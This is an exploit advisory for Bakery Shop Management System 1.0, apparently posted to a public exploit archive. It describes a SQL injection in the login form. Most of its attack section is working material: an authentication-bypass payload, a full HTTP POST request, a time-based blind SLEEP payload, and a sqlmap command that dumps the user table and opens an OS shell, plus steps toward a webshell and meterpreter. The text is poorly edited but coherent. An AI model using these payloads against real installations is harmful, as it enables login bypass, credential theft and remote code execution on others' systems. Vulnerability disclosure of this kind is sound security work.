Authored by Hejap Zairy

Bakery Shop Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can lead to code execution and authentication bypass.

# Title: Bakery Shop Management System 1.0 - Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


# Steps
# 1.- Go to : https://0day.gov/bsms/login.php
# 2 - SQLi Authentication Bypass [admin'or 1=1 or ''=']
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell


#vulnerability Code php

---
```
<?php
$sql = "SELECT p.*,c.name as cname FROM `product_list` p inner join `category_list` c on p.category_id = c.category_id where p.status = 1 and p.delete_flag = 0 order by `name` asc";
$qry = $conn->query($sql);
while($row = $qry->fetch_assoc()):
$stock_in = $conn->query("SELECT sum(quantity) as `total` FROM `stock_list` where unix_timestamp(CONCAT(`expiry_date`, ' 23:59:59')) >= unix_timestamp(CURRENT_TIMESTAMP) and product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_out = $conn->query("SELECT sum(quantity) as `total` FROM `transaction_items` where product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_in = $stock_in > 0 ? $stock_in : 0;
$stock_out = $stock_out > 0 ? $stock_out : 0;
$qty = $stock_in-$stock_out;
$qty = $qty > 0 ? $qty : 0;
?>
```
---
#Status: CRITICAL
[+] Payload POST

---
POST /bsms/Actions.php?a=login HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 48
Origin: http://0day.gov
Connection: close
Referer: https://0day.gov/bsms/login.php
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s

username=admin'or+1%3D1+or+''%3D'&password=hejap
---



---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin'or 1=1 or ''='' AND (SELECT 1610 FROM (SELECT(SLEEP(515)))eFaV) AND '515'='515&password=hejap
---

#Blind SQLi Time to Rce
#┘ĆExploit

sqlmap -r hejap_0day --dbs --time-sec=10 --threads=10 -D bsms_db -T user_list --dump --eta --technique=t --os-shell

# Description:
The SQLi vulnerability We can use this information to construct an injection attack to bypass authentication.


# Proof and Exploit:
https://i.imgur.com/zR6Mekg.png
https://i.imgur.com/RQ1JXeK.png
https://i.imgur.com/0x9gepw.png